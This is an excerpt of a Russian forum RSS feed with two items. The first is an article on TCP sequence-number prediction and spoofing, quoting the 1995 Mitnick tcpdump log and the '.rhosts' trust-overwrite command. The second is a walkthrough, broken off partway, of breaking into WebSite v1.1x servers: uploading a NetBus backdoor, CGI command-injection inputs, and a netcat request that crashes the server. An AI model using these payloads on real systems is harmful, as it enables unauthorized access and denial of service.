						&lt;p&gt;В общем случае определив вид функций для вычисления ISN в операционных системах на сервере и предполагаемом клиенте, атакующий начинает следить за ОС сервера, ожидая подключения предполагаемого клиента. В тот момент времени, когда подключение произошло, атакующий может подсчитать возможный диапазон значений ISN, которыми обменялись при создании TCP-канала данные хосты. Так как атакующий может вычислить значения ISN только приближенно, то ему не избежать подбора. Однако, если не проводить описанный выше анализ, то для перебора всех возможных значений ISSa и ISSb понадобилось бы послать 264 пакетов, что нереально. В случае использования описанного выше анализа в зависимости от полученной степени точности и удаления атакующего от хостов потребуется послать значительно меньшее число пакетов. Например, если удалось вычислить значения ISN на операционных системах с точностью до 100, то атакующему для подмены одного из абонентов TCP-соединения достаточно послать всего 100*100 пакетов. &lt;/p&gt;
						&lt;p&gt;Далее рассмотрим ставшую уже классической удаленную атаку на r-службу, осуществление которой связано с описанными выше особенностями идентификации TCP-пакетов. &lt;/p&gt;
						&lt;p&gt;2. Использование недостатков идентификации абонентов TCP-соединения для атаки на rsh-сервер&lt;br /&gt;В ОС UNIX существует понятие: доверенный хост. Доверенным по отношению к данному хосту называется сетевой компьютер, доступ на который пользователю с данного хоста возможен без его аутентификации и идентификации с помощью r-службы (r - сокращение от англ. &amp;quot;remote&amp;quot; - удаленный). Обычно в ОС UNIX существует файл rhosts, в котором находится список имен и IP-адресов доверенных хостов. Для получения к ним удаленного доступа пользователю необходимо воспользоваться программами, входящими в r-службу (например, rlogin, rsh и.т.д.). В этом случае при использовании r-программ с доверенного хоста пользователю для получения удаленного доступа не требуется проходить стандартную процедуру идентификации и аутентификации, заключающуюся в проверке его логического имени и пароля. Единственной аутентифицирующей пользователя информацией для r-службы является IP-адрес хоста, с которого пользователь осуществляет удаленный r-доступ. Отметим, что все программы из r-службы реализованы на базе протокола TCP. Одной из программ, входящих в r-службу, является rsh, с помощью которой возможно осуществление данной атаки. Программа rsh (remoute shell) позволяет отдавать команды shell удаленному хосту. При этом (что является чрезвычайно важным в данном случае!) для того, чтобы отдать команду, достаточно послать запрос, но необязательно получать на него ответ. При атаке на r-службу вся сложность для атакующего заключается в том, что ему необходимо послать пакет от имени доверенного хоста, то есть в качестве адреса отправителя необходимо указать IP-адрес доверенного хоста. Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего. &lt;/p&gt;
						&lt;p&gt;Схема удаленной атаки на rsh-сервер была впервые описана небезызвестным Р.Т. Моррисом-старшим (не младшим!). Она заключается в следующем (схема атаки изображена на Рис. 2.):&lt;/p&gt;
						&lt;p&gt;Пусть хост А доверяет хосту В. Хост X-Hacker - это станция атакующего. &lt;/p&gt;
						&lt;p&gt;Вначале атакующий X-Hacker открывает настоящее TCP - соединение с хостом В на любой TCP-порт (mail, echo и.т.д.). В результате X-Hacker получит текущее значение на данный момент времени ISNb. Далее, X-Hacker от имени А посылает на В TCP-запрос на открытие соединения:&lt;/p&gt;
						&lt;p&gt;1. X-Hacker (A) -&amp;gt; B: SYN, ISSx&lt;/p&gt;
						&lt;p&gt;Получив этот запрос, В анализирует IP-адрес отправителя и решает, что пакет пришел с хоста А. Следовательно, В в ответ посылает на А новое значение ISNb&#039;:&lt;/p&gt;
						&lt;p&gt;2. B -&amp;gt; A: SYN, ACK, ISNb&#039;, ACK(ISSx+1)&lt;/p&gt;
						&lt;p&gt;X-Hacker никогда не получит это сообщение от В, но, используя предыдущее значение ISNb и схему для получения ISNb&#039; при помощи математического предсказания, может послать на В: &lt;/p&gt;
						&lt;p&gt;3. X-Hacker (A) -&amp;gt; B: ACK, ISSx+1, ACK(ISNb&#039;+1) Отметим, что для того, чтобы послать этот пакет, возможно потребуется перебрать некоторое количество возможных значений ACK(ISSb&#039; + 1), но не потребуется подбор ISSx + 1, так как этот параметр TCP-соединения был послан с хоста X-Hacker на В в первом пакете. &lt;/p&gt;
						&lt;p&gt;В случае осуществления данной атаки перед атакующим возникает следующая проблема. Так как X-Hacker посылает пакет (1) на В от имени A, то хост B ответит на A пакетом (2). А, так как хост A не посылал на хост B никакого пакета с запросом, то A, получив ответ от B, перешлет на B пакет с битом RST - закрыть соединение. Атакующего с хоста X-Hacker это естественно не устраивает, поэтому одной из атак, целью которых является нарушение работоспособности системы, X-Hacker должен вывести из строя на некоторое время хост A. &lt;/p&gt;
						&lt;p&gt;В итоге rsh-сервер на хосте В считает, что к нему подключился пользователь с доверенного хоста А, а на самом деле это атакующий с хоста X-Hacker. И хотя X-Hacker никогда не сможет получить пакеты с хоста В, но он сможет выполнять на нем команды (r-команды).&lt;/p&gt;
						&lt;p&gt;Рис.2 Подмена одного из участников TCP-соединения при атаке на rsh-сервер&lt;/p&gt;
						&lt;p&gt;В заключение автору хотелось бы привести пример реального инцидента, происшедшего в Суперкомпьютерном центре в Сан-Диего 12 декабря 1994 года, когда атакующий (небезызвестный Кевин Митник) использовал описанную выше схему удаленной атаки. Данный инцидент представляет, как кажется автору, исторический интерес и показывает что опасности, описанные в этой статье, являются отнюдь не мнимыми угрозами из Internet, а той реальностью, над которой большинство пользователей просто не задумывается и которая в любой момент может пожаловать к ним в гости. &lt;/p&gt;
						&lt;p&gt;Все описанные ниже сведения взяты из письма эксперта по информационной безопасности Цутому Шимомуры (Tsutomu Shimomura) в различные эхо-конференции. &lt;/p&gt;
						&lt;p&gt;Далее приводится перевод его оригинального письма с некоторыми сокращениями и авторскими комментариями: &lt;/p&gt;
						&lt;p&gt;&amp;quot;From: tsutomu@ariel.sdsc.edu (Tsutomu Shimomura)&lt;br /&gt;Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security&lt;br /&gt;Subject: Technical details of the attack described by Markoff in NYT&lt;br /&gt;Date: 25 Jan 1995 04:36:37 -0800&lt;br /&gt;Organization: San Diego Supercomputer Center&lt;br /&gt;Message-ID: &amp;lt;3g5gkl$5j1@ariel.sdsc.edu&amp;gt;&lt;br /&gt;NNTP-Posting-Host: ariel.sdsc.edu&lt;br /&gt;Keywords: IP spoofing, security, session hijacking&lt;/p&gt;
						&lt;p&gt;Greetings from Lake Tahoe.&lt;br /&gt;В статье Джона Маркоффа от 23.01.95 в NYT и в рекомендациях CERT CA-95:01, кажется, было достаточно много путаницы насчет того, что такое на самом деле атака с использованием подмены IP-адреса с целью подмены одного из абонентов соединения1. &lt;/p&gt;
						&lt;p&gt;1Имеется в виду статья в New York Times под названием &amp;quot;Data Network Is Found Open To New Threat&amp;quot;. Следующая статья была опубликована 28 января 1995 года под названием &amp;quot;Taking a Computer Crime to Heart&amp;quot;. Заключительная статья &amp;quot;A Most-Wanted Cyberthief Is Caught In His Own Web&amp;quot; опубликована 16 февраля того же года. Time Magazine напечатал две статьи под следующими громкими заголовками:&lt;/p&gt;
						&lt;p&gt;&amp;quot;KEVIN MITNICK&#039;S DIGITAL OBSESSION&amp;quot; и &amp;quot;CRACKS IN THE NET: America&#039;s most wanted hacker has been arrested, but the Internet is more vulnerable than ever&amp;quot; (Да неужели!? Куда уж более!?).&lt;/p&gt;
						&lt;p&gt;Шумиха, поднятая американской прессой по этому незначительному поводу, была столь велика, что нам остается только удивляться насколько еще верна крылатая фраза Шекспира: &amp;quot;Много шума из ничего&amp;quot;. Хотя, с другой стороны, это, можно объяснить тем, что, во-первых, в США благодаря стараниям прессы сложился легендарный образ злобного супер-хакера, этакого &amp;quot;монстра&amp;quot; киберпространства - Кевина Митника, во-вторых, это был один из редких случаев обнародования информации о случившейся удаленной атаке, в-третьих, ее осуществление удалось проследить и запротоколировать, что обычно очень не просто и, в-четвертых, с нашей точки зрения это, пожалуй, единственная известная, при этом довольно красивая удаленная атака на TCP- соединение и поэтому ей так и увлеклась пресса (истории о &amp;quot;тупых&amp;quot; атаках с перехватом пароля или попытками его подбора уже, видимо, навязли на зубах у читателя). &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Здесь приведены некоторые технические подробности из моей презентации 11.01.95 в CMAD 3 в Сономе, Калифорния. Надеюсь, это поможет снять всяческое непонимание природы этих атак.&lt;/p&gt;
						&lt;p&gt;Для атаки использовалось два различных механизма. Подмена IP-адреса отправителя и математическое предсказание начального значения идентификатора TCP-соединения позволили получить доступ к бездисковой рабочей станции, которая использовалась как X-терминал.&lt;/p&gt;
						&lt;p&gt;В письмо включен log-файл, полученный с помощью программы tcpdump, с записью всех пакетов, посланных атакующим. Для краткости этот файл приводится с сокращением некоторых несущественных подробностей.&lt;/p&gt;
						&lt;p&gt;Моя конфигурация:&lt;br /&gt;server = SPARC с ОС Solaris 1, обслуживающий x-terminal&lt;br /&gt;х-terminal = бездисковая рабочая станция SPARC с ОС Solaris 1 &lt;br /&gt;target = основная цель атаки &lt;/p&gt;
						&lt;p&gt;Атака началась в 14:09:32 25.12.94. Первые попытки зондирования начались с хоста toad.com (информация взята из log-файла). &lt;/p&gt;
						&lt;p&gt;14:09:32 toad.com# finger -l @target&lt;br /&gt;14:10:21 toad.com# finger -l @server&lt;br /&gt;14:10:50 toad.com# finger -l root@server&lt;br /&gt;14:11:07 toad.com# finger -l @x-terminal&lt;br /&gt;14:11:38 toad.com# showmount -e x-terminal&lt;br /&gt;14:11:49 toad.com# rpcinfo -p x-terminal&lt;br /&gt;14:12:05 toad.com# finger -l root@x-terminal&lt;br /&gt;Зондирование системы позволило определить, есть ли у нее другие доверенные системы для дальнейшей атаки. То что атакующий смог запустить программы showmount и rpcinfo означало, что он является пользователем root на хосте toad.com. &lt;/p&gt;
						&lt;p&gt;Через шесть минут мы видим шторм TCP-запросов на создание соединения с адреса 130.92.6.97 на 513 порт (login) хоста server. Основная цель атакующего при этом состоит в том, чтобы этими однонаправленными TCP-запросами переполнить очередь на 513 порту сервера так, чтобы он не смог отвечать на новые запросы на создание соединения. Особенно важно, чтобы сервер не смог сгененрировать TCP-пакет с битом RST в ответ на неожиданно пришедший TCP-пакет с битами SYN и ACK. &lt;/p&gt;
						&lt;p&gt;Так как порт 513 является привилегированным портом, то теперь IP-адрес хоста server.login2 может быть свободно использован атакующим для атаки с использованием подмены адреса на r-службы UNIX-систем (rsh, rlogin). IP-адрес 130.92.6.97 атакующий выбрал случайным образом из неиспользуемых адресов (ему не нужно получать пакеты, передаваемые на этот адрес). &lt;/p&gt;
						&lt;p&gt;14:18:22.516699 130.92.6.97.600 &amp;gt; server.login: S 1382726960:1382726960(0) win 4096&lt;/p&gt;
						&lt;p&gt;......&lt;/p&gt;
						&lt;p&gt;14:18:25.599582 130.92.6.97.628 &amp;gt; server.login: S 1382726988:1382726988(0) win 4096&lt;br /&gt;14:18:25.653131 130.92.6.97.629 &amp;gt; server.login: S 1382726989:1382726989(0) win 4096&lt;/p&gt;
						&lt;p&gt;Хост server генерирует на первые 8 запросов соответственно 8 ответов, после чего очередь переполняется. Хост server периодически будет посылать эти ответы, но так и не дождется на них никакой реакции3. &lt;/p&gt;
						&lt;p&gt;2 Шимомура сейчас и в дальнейшем после имени или IP - адреса хоста через точку указывает порт назначения. Поэтому запись server.login означает хост server и порт login (513). Соответственно, например, первая из распечатки log - файла запись 130.92.6.97.600 означает, что пакет передается с IP - адреса 130.92.6.97 с 600 порта. &lt;/p&gt;
						&lt;p&gt;3 Эксперименты автора это подтвердили. &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Далее мы видим 20 попыток создания соединения с хоста apollo.it.luc.edu на x-terminal.shell. Основная цель этих запросов - определить закон изменения начального значения идентификатора TCP-соединения на хосте x-terminal. Так как значение ISN увеличивается на единицу с каждым вновь посылаемым запросом, то, следовательно, эти запросы генерирует не ядро сетевой ОС. При этом очередь запросов на хосте x-terminal не переполняется, так как атакующий после каждого запроса передает пакет с битом RST, что означает &amp;quot;закрыть соединение&amp;quot;. &lt;/p&gt;
						&lt;p&gt;14:18:25.906002 apollo.it.luc.edu.1000 &amp;gt; x-terminal.shell: S 1382726990:1382726990(0) win 4096&lt;br /&gt;14:18:26.094731 x-terminal.shell &amp;gt; apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096&lt;/p&gt;
						&lt;p&gt;.......&lt;br /&gt;14:18:35.395723 x-terminal.shell &amp;gt; apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096&lt;br /&gt;14:18:35.472150 apollo.it.luc.edu.982 &amp;gt; x-terminal.shell: R 1382727009:1382727009(0) win 0&lt;br /&gt;14:18:35.735077 apollo.it.luc.edu.981 &amp;gt; x-terminal.shell: S 1382727009:1382727009(0) win 4096&lt;br /&gt;14:18:35.905684 x-terminal.shell &amp;gt; apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096&lt;br /&gt;14:18:35.983078 apollo.it.luc.edu.981 &amp;gt; x-terminal.shell: R 1382727010:1382727010(0) win 0&lt;br /&gt;Видно, что каждый последующий ответный пакет SYN-ACK, посылаемый с хоста x-terminal, имеет начальное значение идентификатора TCP-соединения на 128000 больше чем у предыдущего4 . &lt;/p&gt;
						&lt;p&gt;4 Из анализа приведенной распечатки пакетов видно, что каждое последующее начальное значение ISN на хосте x-terminal.shell отличается от предыдущего на 128000. Например, 2024256000 - 2024128000 = 128000 или 2024128000 - 2024000000 = 128000. Не правда ли, простейший закон генерации ISN?! &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Далее мы видим поддельный запрос на создание TCP-соединения якобы с хоста server.login на x-terminal.shell. При этом x-terminal доверяет хосту sever и, следовательно, x-terminal будет выполнять все запросы, переданные с этого хоста (или с любого другого, подменившего хост server). &lt;/p&gt;
						&lt;p&gt;X-terminal затем отвечает на хост server пакетом SYN-ACK, и ожидает подтверждения этого пакета ACK&#039;ом, что должно означать открытие соединения. Так как хост server игнорирует все пакеты, посланные на server.login, то поддельный пакет атакующего, подтвержденный ACK&#039;ом, должен иметь успех. &lt;/p&gt;
						&lt;p&gt;Обычно, значение подтверждения (ACK) берется из пакета SYN-ACK. Однако атакующий, используя предсказание закона изменения начального значения идентификатора TCP-соединения на хосте x-terminal, сможет получить значение ACK без получения пакета SYN-ACK5: &lt;/p&gt;
						&lt;p&gt;14:18:36.245045 server.login &amp;gt; x-terminal.shell: S 1382727010:1382727010(0) win 4096&lt;br /&gt;14:18:36.755522 server.login &amp;gt; x-terminal.shell: . ack 2024384001 win 4096&lt;br /&gt;5Используя полученную математическую зависимость для предсказания значения ISN, атакующий может послать следующий пакет от имени server.login с значением ACK, равным 2024384001, вычисленным по его предыдущему значению 2024256000, добавлением к нему 128000.&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Хост атакующего сейчас имеет односторонее соединение с x-terminal.shell, который считает, что это соединение открыто с server.login. Атакующий теперь может передавать пакеты с данными с верными значения ACK на x-terminal. Далее, он посылает следующие пакеты: &lt;/p&gt;
						&lt;p&gt;14:18:37.265404 server.login &amp;gt; x-terminal.shell: P 0:2(2) ack 1 win 4096&lt;br /&gt;14:18:37.775872 server.login &amp;gt; x-terminal.shell: P 2:7(5) ack 1 win 4096&lt;br /&gt;14:18:38.287404 server.login &amp;gt; x-terminal.shell: P 7:32(25) ack 1 win 4096&lt;br /&gt;что означает выполнение следующей команды: &lt;br /&gt;14:18:37 server# rsh x-terminal &amp;quot;echo + + &amp;gt;&amp;gt;/.rhosts&amp;quot;6&lt;br /&gt;6Атакующий, завершая атаку, от имени server.login посылает на x-terminal.shell три пакета, что эквивалентно выполнению на хосте server следующей r - команды: rsh x-terminal &amp;quot;echo + + &amp;gt;&amp;gt;/.rhosts&amp;quot;. Эта команда дописывает в файл /.rhosts строчку + + и делает доверенными все станции. &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Всего атака заняла менее 16 секунд.&lt;br /&gt;Атакующий закрывает ложное соединение: &lt;/p&gt;
						&lt;p&gt;14:18:41.347003 server.login &amp;gt; x-terminal.shell: . ack 2 win 4096&lt;br /&gt;14:18:42.255978 server.login &amp;gt; x-terminal.shell: . ack 3 win 4096&lt;br /&gt;14:18:43.165874 server.login &amp;gt; x-terminal.shell: F 32:32(0) ack 3 win 4096&lt;br /&gt;14:18:52.179922 server.login &amp;gt; x-terminal.shell: R 1382727043:1382727043(0) win 4096&lt;br /&gt;14:18:52.236452 server.login &amp;gt; x-terminal.shell: R 1382727044:1382727044(0) win 4096&lt;br /&gt;Далее атакующий посылает RST-пакеты и, следовательно, закрывает ранее открытые &amp;quot;односторонние&amp;quot; соединения с server.login, тем самым освобождая очередь запросов: &lt;/p&gt;
						&lt;p&gt;14:18:52.298431 130.92.6.97.600 &amp;gt; server.login: R 1382726960:1382726960(0) win 4096&lt;br /&gt;.......&lt;/p&gt;
						&lt;p&gt;14:18:54.097093 130.92.6.97.629 &amp;gt; server.login: R 1382726989:1382726989(0) win 4096&lt;br /&gt;Хост server.login снова готов к приему запросов на создание соединения&amp;quot;. &lt;/p&gt;
						&lt;p&gt;Автор намеренно не стал вдаваться в подробное литературное описание этого инцидента (беллетристики о Митнике написано более чем достаточно), а остановился только на технических подробностях этой удаленной атаки. В заключении приведем слова Шимомуры, сказанные им в своем интервью после поимки Митника, где он заявил следующее: &amp;quot;Из того, что я видел, мне он не кажется таким уж большим специалистом&amp;quot;7. И добавил: &amp;quot;Проблема не в Кевине, проблема в том, что большинство систем действительно плохо защищены. То, что делал Митник, остается осуществимым и сейчас&amp;quot;. &lt;/p&gt;
						&lt;p&gt;7Кстати, по поводу того был ли на самом деле Кевин Митник действительно кракером высшего класса, ходит много споров. То, что он начинал как фрикер (phreaker) высшего класса, очевидно всем. Далее его кракерскую деятельность до первого похода в тюрьму трудно назвать профессиональной, так как он не отличился ничем, кроме профессионального лазанья по помойкам в поисках клочка выброшенной бумаги с паролями пользователей и заговариванием зубов сетевым администраторам по телефону, в попытках выудить у них пароли - тут он был действительно профессионалом (этому виду &amp;quot;атак&amp;quot; теперь даже дан термин: &amp;quot;социальная инженерия&amp;quot;). Однако, сидя в тюрьме, он, видимо, наконец поднабрался необходимого опыта в искусстве сетевого взлома и теперь уже вполне мог подходить под тот образ &amp;quot;супер-хакера&amp;quot;, созданный американской прессой. Хотя любому специалисту очевидно, что в данном случае в связи с простейшем законом генерации ISN в ОС Solaris 1, осуществленная Кевином удаленная атака является тривиальной и, по сути, Шимомура на нее сам напросился. Наверное, если Шимомура был бы действительно таким профессиональным специалистом по информационной безопасности, каким его описывает пресса, то он, очевидно, знал о возможности осуществления подобной атаки, но он ничего не предпринимал (интересно почему - может он именно того и хотел, чтобы его взломали? До этого случая Шимомуру никто и не знал, зато теперь он один из самых известных экспертов по безопасности). Точного ответа на эти вопросы, видимо, мы не узнаем. &lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;В заключении автор хотел бы добавить, что с подробным описанием механизмов реализации основных видов атак в сети Internet вы сможете ознакомиться в написанной мной в содружестве с П. Семьяновым новой книге &amp;quot;Атака через Internet&amp;quot;.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:47:02 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=21#p21</guid>
		</item>
		<item>
			<title>Взлом WWW-сервера на основе WebSite v1.1x</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=20#p20</link>
			<description>&lt;p&gt;Начало. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Как-то на HackZone я встретил заметочку о том, что взломан web-сервер фирмы IdSoftware с помощью стандартных примеров скриптов, идущих в поставке с WebSite&#039;ом, - args.bat и uploader.exe. А так как в нашем университете довольно много www серверов на основе WebSite (ну если штук 5-6 это много), то я решил вплотную занятся ими :) &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Итак, взлом осуществляется через стандартные примеры, идущие в поставке с web-сервером, а так как люди еще не сильно задумываются о защите своего сайта, считая это не очень большой проблемой, и часто оставляют все на Авось, то просто ставят WebSite, ничего не предпринимая для его настройки и обеспечения достаточной защиты. Все пять найденных мной сайтов под управлением WebSite v1.1 имели лазейку, описанную ниже, которая обеспечивала почти полный доступ к машине, на которой они находились, в том числе и мой :) &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Необходимое. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Как у нас ставят WebSite? Просто давят кнопку Install, и потом прога говорит, что web-сервер поставлен. Люди находят, где находится корень web-сайта, закачивают туда свою информацию, и все так и живет, пока не наступает время дельта Тэ (с) Zeus. Что же появляется в таком состоянии? По умолчанию отображается (мапится, mapping) куча ненужных для работы сервера каталогов /java/, /publish/, /wsdocs/, /cgi-dos/, /cgi-win/. Конечно, в какой-то момент времени они, возможно, и понадобятся, но вначале они просто не нужны. Это с одной стороны, с другой стороны создателям WebSite со всех сторон нужно показать возможности этого сервера, что они с успехом и делают, открывая потециальные дырки в защите web сайта и заполняя эти каталоги разнообразными примерами, так радующими глаз потенциального взломщика. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Сперва я поставил себе на машину WebSite v1.1f в дефолтовой конфигурации и приступил к исследованию его на дырки. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Задача перед нами стоит такая: закачать на ломаемый сервер какое-нибудь средство удаленного администрирования и управления типа ВО или NetBus и запустить его (я использовал по-быстрому найденный в нашей локалке NetBus v1.6 с именем файла серверной части Patch.exe). &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Этап закачки для нас не представлял никакого интереса т.к. по умолчанию WebSite позволяет удаленно запустить /cgi-win/uploader.exe и закачать кому угодно что угодно. В принципе, так даже можно положить эту самую НТ: закачивать туда всякой фигни, пока место на диске не кончится. Скорей всего, тут ей кранты и придут - это если WebSite стоит на том же диске, где стоит система или валяется своп-файл (но я в этих вопросах не сильно силен, пусть меня поправят более знающие люди, да и речь сейчас не об этом). &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Вторым этапом является выяснение месторасположения каталога с WebSite&#039;ом. Это делается тоже отчень легко, просто удаленно запускаем файл /cgi-dos/ args.bat, на что нам в ответ приходит сообщение типа &lt;/p&gt;
						&lt;p&gt;Empty output from CGI program D:/WebSite/cgi-dos/args.bat&lt;/p&gt;
						&lt;p&gt;, что однозначно определяет каталог с WebSite&#039;ом. Тогда отображаемый каталог /cgi-dos/ будет находится в каталоге D:/WebSite/cgi-dos/, а путь к файлу Patch.exe, который мы закачиваем будет D:/WebSite/UploadS/Patch.exe &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Итак, момент к которому мы подошли - это исследование на предмет возможности запуска файла, который мы закачали. Почитывая разные статьи по этому поводу, например, выяснилось, что у web-сервера Apache есть уязвимость на счет тестовых скриптов /cgi-bin/test-cgi и /cgi-bin/nph-test-cgi, которые аналогичны присутствующему в WebSite примеру Args.bat. Эта уязвимость заключается в том, что возможна распечатка передаваемой строки в таком виде, в каком она присутствует, и это обычно делается строчкой скрипта&lt;/p&gt;
						&lt;p&gt;echo QUERY_STRING = $QUERY_STRING&lt;/p&gt;
						&lt;p&gt;т.е. если мы передаем строчку типа &amp;quot;&amp;gt; 1.bat&amp;quot;, то по логике вещей строчка &amp;quot;QUERY_STRING =&amp;quot; будет перенаправлена в файл 1.bat, путь к этому файлу мы могли бы указать на каталог /cgi-bin/, он бы туда записался, и далее уже удаленно мы могли бы его запустить из этого каталога. В args.bat находится строчка&lt;/p&gt;
						&lt;p&gt;echo QUERY_STRING=&amp;quot;%QUERY_STRING%&amp;quot; &amp;gt;&amp;gt; %of%&lt;/p&gt;
						&lt;p&gt;т.е. кто не слеп и видит, что строчка, передаваемая нами заключена в кавычки, и все, что мы надумали, просто-напросто обламывается. Обламывается-то обламывается, но все дело в том, что мы можем засылать специальные непечатные символы типа CR (код 0dh), LF( код 0ah). Улавливаете? :) Появление таких символов в командной строке приведет к переводу строки в скрипте и вполне возможно, что следущей строчкой вдруг ни с того ни с сего окажется наш файл лежащий в каталоге /uploads/ . Уф, такие мысли просто будоражат кровь! :) &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Так, сейчас мы ее маленько остудим, рассмотрев немного теории, поясняющей как запускаются .bat скрипты на web сервере на основе WebSite. :) &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;При обработке bat-скрипта во временном каталоге WebSite /cgi-temp/ создаются 4 файла xxxxx.acc, xxxxx.bat, xxxxx.inp, xxxxx.out. Нам в глаза сразу бросается файл xxxxx.bat. Так, при удаленном запуске /cgi-dos/args.bat получается такой файл xxxxx.bat:&lt;/p&gt;
						&lt;p&gt;@ECHO OFF&amp;amp;&amp;amp;TITLE WebSite CGI&lt;br /&gt;D:\WebSite\cgi-dos\args.bat &amp;lt; D:\WebSite\cgi-temp\xxxxx.inp &amp;gt; D:\WebSite\cgi-temp\xxxxx.out&lt;/p&gt;
						&lt;p&gt;если этому .bat файлу кинуть в командной строке аргументов, например, /cgi-dos/args.bat?africa.bat, то получим xxxxx.bat:&lt;/p&gt;
						&lt;p&gt;@ECHO OFF&amp;amp;&amp;amp;TITLE WebSite CGI&lt;br /&gt;D:\WebSite\cgi-dos\args.bat africa.bat &amp;lt; D:\WebSite\cgi-temp\xxxxx.inp &amp;gt; D:\WebSite\cgi-temp\xxxxx.out&lt;/p&gt;
						&lt;p&gt;Кто знает, что такое перенаправление потока данных (значки &amp;quot;&amp;gt;&amp;quot; и &amp;quot;&amp;lt;&amp;quot;), сразу поймет, что здесь к чему. По-простому, WebSite создает временный xxxx.bat файл, результаты деятельности которого перенаправляются в файл xxxxx.out. Этот файл xxxxx.out отдается удаленному клиенту результатом работы скрипта, если в работе скрипта не произошло ошибки. Во временных файлах вместо символов xxxxx подставляется случайная последовательность символов. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Запускаем вот так /cgi-dos/args.bat?&amp;gt;d:/Website/cgi-shl/1.bat получаем xxxxx.bat:&lt;/p&gt;
						&lt;p&gt;@ECHO OFF&amp;amp;&amp;amp;TITLE WebSite CGI&lt;br /&gt;D:\WebSite\cgi-dos\args.bat africa.bat ^&amp;gt;D:/WebSite/cgi-shl/1.bat &amp;lt; D:\WebSite\cgi-temp\xxxxx.inp &amp;gt; D:\WebSite\cgi-temp\xxxxx.out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Видите, как нехорошо поступил WebSite - перед символом перенаправления &amp;quot;&amp;gt;&amp;quot; поставил какую-то гадость &amp;quot;^&amp;quot;, от которой всякое перенаправление перестает быть перенаправлением. Если немного помучится, то можно выяснить, что эта фигня ставится перед символами &amp;gt;,&amp;lt; и |. Кстати, если залезть внутрь исполняемого файла сервера httpd32.exe, то вы увидите как раз стоящие отдельной группой данные символы. Обломс! &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Как я уже писал выше, мы можем в командную строку вставлять спецсимволы, делается это так %0a. &amp;quot;%&amp;quot; - символ, говорящий о том, что следующие за ним два символа являются шестнадцатиричным представлением передаваемого в командной строке символа. &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Запускаем /cgi-dos/args.bat?%0d%0aafrica.bat. Получаем xxxxx.out:&lt;/p&gt;
						&lt;p&gt;@ECHO OFF&amp;amp;&amp;amp;TITLE WebSite CGI&lt;br /&gt;D:\PROGRA~1\WebSite\cgi-dos\args.bat&lt;/p&gt;
						&lt;p&gt;africa.bat &amp;lt; D:\WebSite\cgi-temp\xxxxx.inp &amp;gt; D:\WebSite\cgi-temp\xxxxx.out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Вот тут я подумал что они попали :), но жестоко обманулся! :( По моим мыслям, сначала управление передастся их батчику, а потом моему исполняемому файлу, который я закачал в /uploads/. Меня жестоко обманули, управление, переданное файлу args.bat, там и оставалось. Моему файлу africa.bat оставалось лишь смотреть, как управление было всего в одной строчке сверху его! :) &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Cнова думаем! Вернемся к перенаправлению, если забивать много много перенаправлений типа &amp;quot;&amp;gt;&amp;quot;, то вполне возможно, что в какой-то момент времени на каждый значок &amp;quot;&amp;gt;&amp;quot; не хватит значка &amp;quot;^&amp;quot;, так как вполне возможно, что буфер у WebSite не резиновый. :) Стандартными средствами тут я уже обходится не мог, так как не мог ввести слишком много значков в строке адреса Internet Explorer&#039;a, поэтому пришлось воспользоваться программой NetCat v1.10 for NT, ох и рульная же это вещица, при всем при том, что о большинстве функций я вообще не знаю, для чего они нужны. В моем случае она просто брала из файла запрос и отсылала его серверу. &lt;/p&gt;
						&lt;p&gt;nc.exe -v ИмяЛомаемогоСервера 80 &amp;lt; Zapros.txt &lt;/p&gt;
						&lt;p&gt;Zapros.txt:&lt;br /&gt;GET /cgi-dos/args.bat?&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;....&amp;gt;&amp;gt;&amp;gt;africa.bat &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Вот такой файл, где значков &amp;quot;&amp;gt;&amp;quot; около 700 штук после запуска NetCat&#039;a с такими параметрами у меня повесил WebSite :) Хорошенькая нашлась фича, и, главное, обнаружилась фича, что если число значков равно 512, то вместо строк в темповом батчике xxxxx.bat &lt;/p&gt;
						&lt;p&gt;@ECHO OFF&amp;amp;&amp;amp;TITLE WebSite CGI D:\PROGRA~1\WebSite\cgi-dos\args.bat?^&amp;gt;^&amp;gt;^&amp;gt;^&amp;gt;...^&amp;gt;^&amp;gt; africa.bat &amp;lt; D:\WebSite\cgi-temp\xxxxx.inp &amp;gt; D:\WebSite\cgi-temp\xxxxx.out &lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Получается файл xxxxx.bat: &lt;/p&gt;
